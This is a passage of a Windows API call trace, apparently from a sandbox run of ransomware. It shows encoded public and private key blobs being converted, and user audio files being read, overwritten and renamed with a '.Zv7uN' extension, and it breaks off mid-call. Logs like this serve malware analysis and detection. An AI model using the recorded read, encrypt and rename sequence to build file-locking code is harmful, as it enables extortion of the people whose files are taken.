lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.677] GetCurrentThreadId () returned 0xa30 [0086.677] GetCurrentThreadId () returned 0xa30 [0086.677] GetCurrentThreadId () returned 0xa30 [0086.677] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\nnUgj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\nnugj.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.677] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.677] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.677] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x1650b [0086.677] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.678] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x1650b, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x1650b, lpOverlapped=0x0) returned 1 [0086.681] CloseHandle (hObject=0x11c) returned 1 [0086.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\nnUgj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\nnugj.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.685] WriteFile (in: hFile=0x11c, lpBuffer=0x1f30e00*, nNumberOfBytesToWrite=0x1650b, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30e00*, lpNumberOfBytesWritten=0x18f3e0*=0x1650b, lpOverlapped=0x0) returned 1 [0086.690] CloseHandle (hObject=0x11c) returned 1 [0086.692] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\nnUgj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\nnugj.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\nnUgj.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\nnugj.wav.zv7un")) returned 1 [0086.693] GetCurrentThreadId () returned 0xa30 [0086.693] GetCurrentThreadId () returned 0xa30 [0086.694] GetCurrentThreadId () returned 0xa30 [0086.694] GetCurrentThreadId () returned 0xa30 [0086.694] GetCurrentThreadId () returned 0xa30 [0086.694] GetCurrentThreadId () returned 0xa30 [0086.694] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15307f60, ftCreationTime.dwHighDateTime=0x1d5dee3, ftLastAccessTime.dwLowDateTime=0x926928c0, ftLastAccessTime.dwHighDateTime=0x1d5d91a, ftLastWriteTime.dwLowDateTime=0x926928c0, ftLastWriteTime.dwHighDateTime=0x1d5d91a, nFileSizeHigh=0x0, nFileSizeLow=0x132dd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="RVJVF_UB10M.mp3", cAlternateFileName="RVJVF_~1.MP3")) returned 1 [0086.694] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.694] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.694] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\RVJVF_UB10M.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\rvjvf_ub10m.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15307f60, ftCreationTime.dwHighDateTime=0x1d5dee3, ftLastAccessTime.dwLowDateTime=0x926928c0, ftLastAccessTime.dwHighDateTime=0x1d5d91a, ftLastWriteTime.dwLowDateTime=0x926928c0, ftLastWriteTime.dwHighDateTime=0x1d5d91a, nFileSizeHigh=0x0, nFileSizeLow=0x132dd)) returned 1 [0086.694] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\RVJVF_UB10M.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\rvjvf_ub10m.mp3")) returned 0x20 [0086.694] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\RVJVF_UB10M.mp3", dwFileAttributes=0x80) returned 1 [0086.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.698] GetCurrentThreadId () returned 0xa30 [0086.698] GetCurrentThreadId () returned 0xa30 [0086.698] GetCurrentThreadId () returned 0xa30 [0086.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.699] GetCurrentThreadId () returned 0xa30 [0086.699] GetCurrentThreadId () returned 0xa30 [0086.699] GetCurrentThreadId () returned 0xa30 [0086.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\RVJVF_UB10M.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\rvjvf_ub10m.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.699] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.699] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.699] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x132dd [0086.699] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.699] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x132dd, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, 